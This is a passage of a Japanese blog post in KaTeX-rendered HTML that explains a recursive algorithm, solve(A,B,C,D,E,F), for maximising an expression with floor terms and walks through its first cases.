style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306E;&#x6700;&#x5927;&#x5024;&#x3092;&#x6C42;&#x3081;&#x3088;&#x3002;</p>
</blockquote>
<p>&#x3053;&#x308C;&#x3092;&#x89E3;&#x304F;&#x305F;&#x3081;&#x306B;&#x3053;&#x306E;&#x3088;&#x3046;&#x306A;&#x518D;&#x5E30;&#x95A2;&#x6570;&#x300C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">solve</span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span> &#x300D;&#x3092;&#x5B9A;&#x7FA9;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x6307;&#x793A;&#x304C;&#x306A;&#x3044;&#x9650;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span></span></span></span> &#x306E;&#x3088;&#x3046;&#x306B;&#x756A;&#x53F7;&#x9806;&#x306B;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">solve</span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span> &#x3092;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306B;&#x5B9A;&#x7FA9;&#x3059;&#x308B;&#x3002;</p>
<ol>
<li>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306A;&#x3089;&#x3070;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">&#x221E;</span></span></span></span> &#x3092;&#x8FD4;&#x3057;&#x3001;&#x95A2;&#x6570;&#x3092;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x3002;</li>
<li>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel" style="color:#df0030;">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306A;&#x3089;&#x3070;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">&#x221E;</span></span></span></span> &#x3092;&#x8FD4;&#x3057;&#x3001;&#x95A2;&#x6570;&#x3092;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x3002;</li>
<li>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306A;&#x3089;&#x3070;&#x3001;4.&#x3078;&#x3001;&#x305D;&#x3046;&#x3067;&#x306A;&#x3051;&#x308C;&#x3070;6.&#x3078;</li>
<li>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306A;&#x3089;&#x3070;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x3092;&#x5165;&#x308C;&#x66FF;&#x3048;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span> &#x3082;&#x5165;&#x308C;&#x66FF;&#x3048;&#x308B;&#x3002;</li>
<li>&#x5DE6;&#x7AEF;&#x3067;&#x306E;&#x5024; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3068;&#x53F3;&#x7AEF;&#x3067;&#x306E;&#x5024; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">solve</span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">))</span></span></span></span> &#x306E;&#x4E2D;&#x3067;&#x6700;&#x3082;&#x5927;&#x304D;&#x3044;&#x5024;&#x3092;&#x8FD4;&#x3057;&#x3001;&#x95A2;&#x6570;&#x3092;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x3002;</li>
<li>&#x53F3;&#x7AEF;&#x3067;&#x306E;&#x5024; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3092;&#x8FD4;&#x3057;&#x3001;&#x95A2;&#x6570;&#x3092;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x3002;</li>
</ol>
<p>&#x3053;&#x308C;&#x3060;&#x3051;&#x3060;&#x3068;&#x3088;&#x304F;&#x5206;&#x304B;&#x3089;&#x306A;&#x3044;(&#x7279;&#x306B;5.)&#x306E;&#x3067;&#x3001;&#x56F3;&#x3092;&#x7528;&#x3044;&#x3066;&#x8AAC;&#x660E;&#x3057;&#x3066;&#x3044;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">1&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x3001;&#x305D;&#x3082;&#x305D;&#x3082;&#x8003;&#x616E;&#x3059;&#x3079;&#x304D;&#x70B9;&#x304C;&#x5B58;&#x5728;&#x3057;&#x306A;&#x3044;&#x305F;&#x3081;&#x3001;&#x6700;&#x5927;&#x5024;&#x306F;&#x5B58;&#x5728;&#x3057;&#x307E;&#x305B;&#x3093;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">&#x221E;</span></span></span></span> &#x3092;&#x8FD4;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="2%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">2&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x306F;&#x3001;&#x76F4;&#x524D;&#x306E;&#x95A2;&#x6570;&#x5185;&#x3067;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x306E;&#x500D;&#x6570;&#x3067;&#x3042;&#x3063;&#x305F;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x3068;&#x304D;&#x306F;&#x3001;&#x5B58;&#x5728;&#x3057;&#x3046;&#x308B;&#x70B9; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord 